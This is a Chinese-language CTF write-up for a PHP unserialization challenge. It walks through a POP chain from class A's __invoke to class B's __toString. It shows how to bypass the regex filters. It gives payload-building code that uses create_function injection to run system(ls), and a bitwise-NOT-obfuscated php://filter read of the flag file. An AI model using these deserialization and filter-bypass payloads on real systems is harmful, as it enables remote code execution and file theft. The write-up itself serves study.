BUUCTF-日刷-[DASCTF Sept X 浙江工業大學秋季挑戰賽]hellounser/反序列化-正則過濾


<?php
class A {
    public $var;
    public function show(){
        echo $this->var;
    }
    public function __invoke(){
        $this->show();
    }
}

class B{
    public $func;
    public $arg;
    
    public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }
    
    public function __toString(){
        $this->show();
        return "<br>"."Nice Job!!"."<br>";
    }
    
    
}

if(isset($_GET['pop'])){
    $aaa = unserialize($_GET['pop']);
    $aaa();
}
else{
    highlight_file(__FILE__);
}

?>

思路很明顯,要執行B類中的show函數,來包含flag(但是它這個包含也不會輸出,這里等會分析)

 

 

 怎么執行是看A類

 

 

 __invoke函數是調用A類時候會觸發,調用A類,觸發show方法,show方法輸出 $var。

而讓$var等於B類,B類中的__toString()方法會調用B的show函數

 

 

 至於怎么調用A類,這里傳入pop參數,反序列化后,原代碼會調用pop反序列化

 

 

 

 

那么下面就是分析如何反序列化到A類的show方法時能夠包含

 public function show(){
        $func = $this->func;
        if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { 
            die('No!No!No!'); 
        } else { 
            include "flag.php";
            //There is no code to print flag in flag.php
            $func('', $this->arg); 
        }
    }

先看正則表達式,前面是$func不能是開頭到結尾純數字字母,i是大小寫都匹配,s是匹配任何空白符號(空格,制表),D是結尾不是換行符號

這里很好繞過,比如var_dump含有一個_即可繞過。或者開頭換行符號都可以

后面是$arg過濾了一大堆東西,

都滿足就會包含flag.php,但沒啥用,因為沒輸出。同時會把$當作函數名,傳入兩個參數,一個是空字符串,一個是$arg

 

既然包含沒用,不如從后面函數執行想辦法,首先這個函數是要有兩個參數,還能任意命令執行的

這里對着手冊很快能找到函數create_function,傳入

return(1);}任意代碼;//

}會和前面{閉合,后面注釋符號會注釋后面的{,實現執行任意代碼(一開始用/*注釋,但是被過濾了)

$a = new A;
$b = new B;
$b->func="create_function";
$b->arg='return(1);}system(ls);//';;
$a->var=$b;
$ser = serialize($a);
echo $ser;

構造如上代碼

 

 看到tru3flag.php猜測這個是真flag

但是過濾有很多,單雙引號,flag,小數點全過濾了,這里用到取反

但是還有一個問題是取反后的符號大多數不可打印符號,不方便復制get傳入,因此要對他進行url編碼

$ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php'));
$at='return(1);}require(~('.strval($ac).'));//';
$a = new A;
$b = new B;
$b->func="create_function";;
$b->arg=$at;
$a->var=$b;
$ser = serialize($a);
//echo $ser;
echo urlencode($ser);

這里用偽協議讀取php內容

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM